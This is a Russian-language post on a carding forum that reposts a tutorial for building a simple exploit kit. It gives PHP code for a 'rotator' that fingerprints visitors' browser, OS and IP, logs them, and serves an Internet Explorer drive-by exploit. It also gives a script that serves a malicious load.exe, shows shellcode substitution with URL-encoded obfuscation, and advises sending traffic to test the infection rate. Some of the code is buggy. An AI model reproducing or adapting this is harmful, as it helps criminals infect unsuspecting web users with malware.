Go Back   Carder.life > [ru] Forum for Russians > Хакинг. Программирование



Reply
 
Thread Tools Display Modes
  #1  
Old 02-15-2025, 08:41 AM

spice spice is offline
Member
Join Date: Feb 2021
Posts: 61
Default


статья не моя старенькая может кому будет интересно для изучения.
1. Intro.
Что такое эксплоит. Эксплоит (exploit — использовать) - фрагмент программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведет к повышению привелегий, отказу в обслуживании или выполнению произвольного кода.
Есть разные типы эксплоитов: local, remote, dos и тп, мы же будем использовать remote-эксплоиты.
Выбирать мы будем эксплоиты по типу remote\download and execution file\IE 6/7...То есть эксплоиты, которые позволяют через определенную уязвимость браузеров Internet explorer 6 и 7 загрузить и выполнить наш файл в системе.
Что такое связка-эксплоитов. Связка эксплоитов - набор эксплоитов, выдающихся ротатором. Задача ротатора - определить всевозможное ПО на машине жертвы и подобрать подходящий эксплоит. Стандарнтое "строение" связки:
Ротатор.
Эксплоиты.
Загружаемый файл.
Статистика.
Админ-панель.
Наиболее "популярные" паблик(общедоступные, доступные простым смертным) это Ice-Pack, Armitage[beta], G-pack и тп.
Почему мы будем выберать эксплоиты под IE? - Т.к. мы будем писать простейшую связку-эксплоитов, мы не будем рассматривать примеры более навороченных связок, эксплоиты под различные ОСи, браузеры, явамашины, сторонний софт типа Adobe\djvu-reader'oв\etc...После почтения статьи, вам не составит труда добавить другие эксплоиты и тд.
Наверняка у вас завалялсо какой-нибудь эксп, и вы в нем видите немного непонятные строки, типа такого:
Code:
%uC933%uE983%uD9A9%uD9EE%u2474%u5BF4%u7381%u5713

Выше приведен кусок шелл-кода(shellcode).
Что такое шеллкоды. Шелл-код - это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе(взято с вики).
Мы же будем использовать шеллкод в следующей схеме: загрузка эксплоита - при успешном "пробиве" передается управление шеллкоду - шеллкод загружает и исполняет наш исходный файл.
Теперь, когда мы разобрались с используемыми понятиями, можно переходить к следующему пункту...
2. С чего начинаем.
Для начала, составим схему нашей будущей мег0-связки)
Ротатор - скрипт будет определять ОСь, Браузер, Версию браузера, Уникальность посетителя, Айпи адрес, записывать полученные данные в бд и выдавать подходящий эксплоит. Назовем файл index.php
Файлы бд. - Обычно в связках эксплоитов используют mysql базы данных, но тк мы пишем простую связку, мы обойдемся и без них. Все будем писать в лог-файлы.
Файл\файлы эксплоитов - используемые эксплоиты, которые будет выдовать ротатор - файлы, содержащие наш вредоносный js-код. Назовем файл spl.php
Скрипт выдачи файла - так как нам нужно вести статистику загрузок файла, мы будем использовать скрипт, который будет писать в лог если к файлу было обращение, ну и выдовать этот файл.Назовем файл load.php. Разумеется такой способ сбора статистики "пробитых" машин не очень то и верен, мы будем использовать 2 вида подсчета загрузок: через скрипт и через наш файл.
Наш файл - exe-файл, который мы будем грузить "жертвам" ^^ Назовем файл load.exe
Админ-панель - какая же связка без 0дминки? Мы сделаем себе простенькую админку, чтоб нам было удобно просматривать статистику и результаты...управлять статистикой и тп...Назовем файл admin.php
Определились со схемой, можно приступать к заготовке материалов=)
Подбираем эксплоиты...Где их взять? Рекомендую искать свежие и не только экспы на сайтах:
http://www.securitylab.ru и http://milw0rm.com
Требования к эксплоитам указанны в п.1, но если вы пропустили и вам лень возвращаться, напомню: remote\download and execution\IE 6-7 ... Много не набирайте, мы же только учимся - 3-6 хватит...
Готово? - двигаемсо дальше...
Что там потребуется:
Мозг.
Прямые руки.
Текстовый редактор.
То, на чем фсе будем тестить, если вам не фпадло, можете каждый раз заливать фсе на хостинг с поддержкой пхп, но йа рекомендую поставить себе простенькую и легкую программу USBWebServer - программа содержит в себе апач\php\mysql и не требует установки, вес запакованного дистра - 12-14мб...так что проблем с программой не возникнет.
Когда у нас фсе готово, можно приступать к подготовке эксплоитов.
Открываем эксп в тектовом редакторе, ищем в js-коде переменную типа var shellcode\scode в таком духе, нашли? теперь нам нужно заменить на наш шеллкод...где взять шеллкод? - здесь несколько вариантов, скачать генератор шеллкодов, найти не проблема, скачать уже готовый шелл-код, подыскать материал по написанию шеллкодов и написать самому...выберать вам...
Шеллкоду мы будем указывать файл load.php ...
Теперь, когда шеллкод прикручен к сплоиенту, спрячим немного наш сплоит...
Выделяем оставшуюся часть кода, закидываем в url-encoder - найти не проблема, есть онлайн\ехе"шные\етц...
Теперь у нас получилось что-то на подобии следующего кода...
Code:
%58%59%59%59%59%59%59

Теперь заменим этот код на следующий:
Code:
document.write(unescape('%58%59%59%59%59%59%59));

В сумме у нас получается примерно следующий эксплоит:
Code:
<script>
var shellcode = шеллкод;
document.write(unescape('%58%59%59%59%59%59%59'));
</script>

Эксплоит готов! Можно открывать баночку пива)
Переходим к следующей части нашего мег0-пака - Ротатор.
Для начала, нам нужно определить версию браузера и оси пользователя а так же его айпи адрес...
Браузер и ось мы будем мы все определять за счет строковых функций.
Code:
$ip = $_SERVER['REMOTE_ADDR']; //IP-адрес
/*Определяем браузер*/
$user_agent = getenv("HTTP_USER_AGENT"); //Получаем user-agent'a передаваемого браузером.
if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers) or
eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers)) /*ищем в нем название браузера и версию, если найден, присваиваем переменной значения и таг же везде в следующих строках*/
{$typs= "Opera";
$browser = "Opera" . " " . $vers[2];}
elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Konqueror";
$browser = "Konqueror" . " " . $vers[2];}
elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers))
{$typs= "Lynx";
$browser = "Lynx" . " " . $vers[2];}
elseif (eregi("(links) \\(([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Links";
$browser = "Links" . " " . $vers[2];}
elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Internet Explorer";
$browser = "Internet Explorer" . " " . $vers[2];}
elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Netscape";
$browser = "Netscape" . " " . $vers[2];}
elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers) or
eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers))
{$typs= "Firefox";
$browser = "Firefox" . " " . $vers[2];}
elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Mozilla";
$browser = "Mozilla" . " " . $vers[2];}
elseif (eregi("(flock)", $user_agent))
{$browser ="Flock";}
elseif (eregi("(maxthon)", $user_agent))
{$browser ="Maxthon";}
elseif (eregi("(chrome)", $user_agent))
{$browser ="Chrome";}
else
{$typs= "Other";
$browser = "Other";}

Айпи и браузер определили? Теперь определим ось
Code:
if (strstr($user_agent, "Windows 95")) $system = "Windows 95"; /*везде ищем в передаваемом user-agent'e ось, передаем значение переменной, если не найдено - даем назначение переменной ака имя браузера - other*/
elseif (strstr($user_agent, "Windows NT 4")) $system = "Windows NT 4";
elseif (strstr($user_agent, "Windows 98")) $system = "Windows 98";
elseif (strstr($user_agent, "Win 9x 4.9")) $system = "Windows ME";
elseif (strstr($user_agent, "Windows NT 5.0")) $system = "Windows 2000";
elseif (strstr($user_agent, "Windows NT 5.1")) $system = "Windows XP";
elseif (strstr($user_agent, "Windows NT 5.2")) $system = "Windows 2003";
elseif (strstr($user_agent, "Windows NT 6.0")) $system = "Windows Vista";
elseif (strstr($user_agent, "WOW64")) $system = "Windows Vista x64";
elseif (strstr($user_agent, "Linux")) $system = "Linux";
elseif (strstr($user_agent, "Mac OS")) $system = "Mac OS";
else $system = "Other";

Едем дальше, теперь определим уникальность посетителя, запишем в лог его номер...
Code:
/*Здесь мы смотрим есть ли айпи в нашей бд, если нету - к кол-ву уников прибавляется еденица, айпи пишется в лог...*/
if(!file_exists("./unic.txt"))
{
$fp = @fopen ("./unic.txt", "w");
fputs($fp,"1\n".$ip."\n");
fclose ($fp);
}
$f = true;
$l = @file("./unic.txt");
for ($i = 1; $i < count($l); $i++)
{
if ($ip == trim($l[$i]))
{
$f = false;
}
}
if($f){
$l[0]+=1;
$fp = @fopen ("./unic.txt", "w");
fputs($fp,$l[0]."\n");
for ($i = 1;$i < count($l);$i++)fputs($fp,$l[$i]);
fputs ($fp, $ip."\n");
fclose ($fp);

Практически все, теперь запишем в лог браузер\ось\айпи и тп...
Т.к мы не будем говорить о дизайне админки, таблицах в ней и тп, я следаю чтоб в лог писалось все довольно примитивно, и потом просто инклудилось в нашу админку:
Code:
/*указываем переменным имя файла и каг его открыть, пишем туда полученные данные, если юзер уникален.*/
$log = "stats.txt";
$fp = fopen($log,"a+");
fwrite($fp,"$system:$browser:$ip<br>");
fclose($fp);

Пачти готово, теперь осталось дописать код выдачи эксплоита, код примитивный, расчитан только на 3 вида IE:
версия < 6 , 6-версия и 7 версия ... Под оси и тп мы определять сплоиенты не будем, тк фспомните - пишем мы простейшую связку.
Code:
/*если браузер ИЕ - смотрим версию, выдаем под нее файл, в коде указан одинаковый файл, но изменить не проблема*/
if($browser == "Internet Explorer") //Если браузер ослик, продолжаем...
{
if($vers < "6") //если версия ниже шестой
{ include "./spl.php"; } //инклудим сплоит под весии ниже 6
if($vers == "6") //если шестой
{ include "./spl.php"; } //инклудим сплоит под 6
if($vers == "7") //если седьмой
{ include "./spl.php"; } //инклудим сплоит под 7 ...
}
else //если у нас не ослик, а любой другой браузер
{
header("Location: about:blank"); //просто редиректим на about:blank
}
}
/*здесь мы пишем номер нашего уника*/
$a = trim($l[0]);
$we = fopen("./uniq.txt","w");
fwrite($we,$a);
fclose($we);
?>

Все, наш файл index.php готов! Открываем еще одну баночку пива, едем дальше...
Наш файл load.php ...
Тут все достаточно просто:
Code:
/**Открываем файло loads.txt пишем в него номер уника - для подсчета загрузок*/
<?php
$load = "loads.txt";
$fop = @fopen($load,"r");
if ($fop)
{
$counter = fgets($fop,10);
fclose($fop);
}
else
{
$counter = 0;
}
$counter++;
$fop = @fopen($hostfile,"w");
if ($fop)
{
$counter = fputs($fop,$counter);
fclose($fop);
}
/*посчитали? - теперь выдаем файл load.exe*/
$fo=fopen("load.exe", "rb");
while(!feof($fo))
{
$a=fgets($fo);
echo $a;
}
?>

Усе, осталось немного...
Основа готова, теперь можно приступать к написанию админки...тут дело уже творческое, кому-то она просто-напросто не нужна, кому-то нужна, но без лишних наворотов, а кто-то хочет флеш-админку с клевым дизом и кучей функций...так что выберать вам...Когда админка будет готова, главное указать в ней следующее:
Трафик: считывать кол-во будем из файла uniq.txt
Загрузки: считывать кол-во будем из файла loads.txt
Статистика: считывать будем из файла stats.txt
Если вы все делали слово в слово каг написано выше, у вас дириктория со связкой должна содержать следующие файлы:
index.php
load.php
loads.txt
stats.txt
unic.txt
uniq.txt
admin.php
файлы админки.
Теперь нам нужно все проверить, ставим на локалхост нашу новую связочку, проверяем чтоб небыло ошибок, Напомню про права, на лог-файлы и load.exe - ставим права 777. ... готово? - Атлична, Теперь закинем наш файл load.exe в папку со фсем остальным, поставим на хостинг и пустим немного траффа для проверки подобранных вами сплоитов на пробив... Разумеется, что от первой, написанной собственными руками связки, кульного пробива не ждите =)
3. End.
Подведем небольшой итог:
Теперь вы знаете как написать простую связку эксплоитов, нету 2ух баночек пива, вы узнали для сибя что-то новое и вам было не особо скучно фсе это читать...надеюсь...)
Немного полезного материала:
http://google.ru - универсальная поисковая система.
http://milw0rm.com - хранилище эксплоитов.
http://www.securitylab.ru - хранилище эксплоитов, обзоры багов и тд.
http://ru.wikipedia.org/wiki/User_Agent - подробнее про юзер-агент.
http://www.paulschou.com/tools/xlate - онлайн Base64, HEX, Binary, и т. д. кодер/декодер
http://forum.xaknet.ru/thread2402.html - немного теории о экспах ...
Reply

Tags
NULL


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is On

Forum Jump




All times are GMT. The time now is 07:54 PM.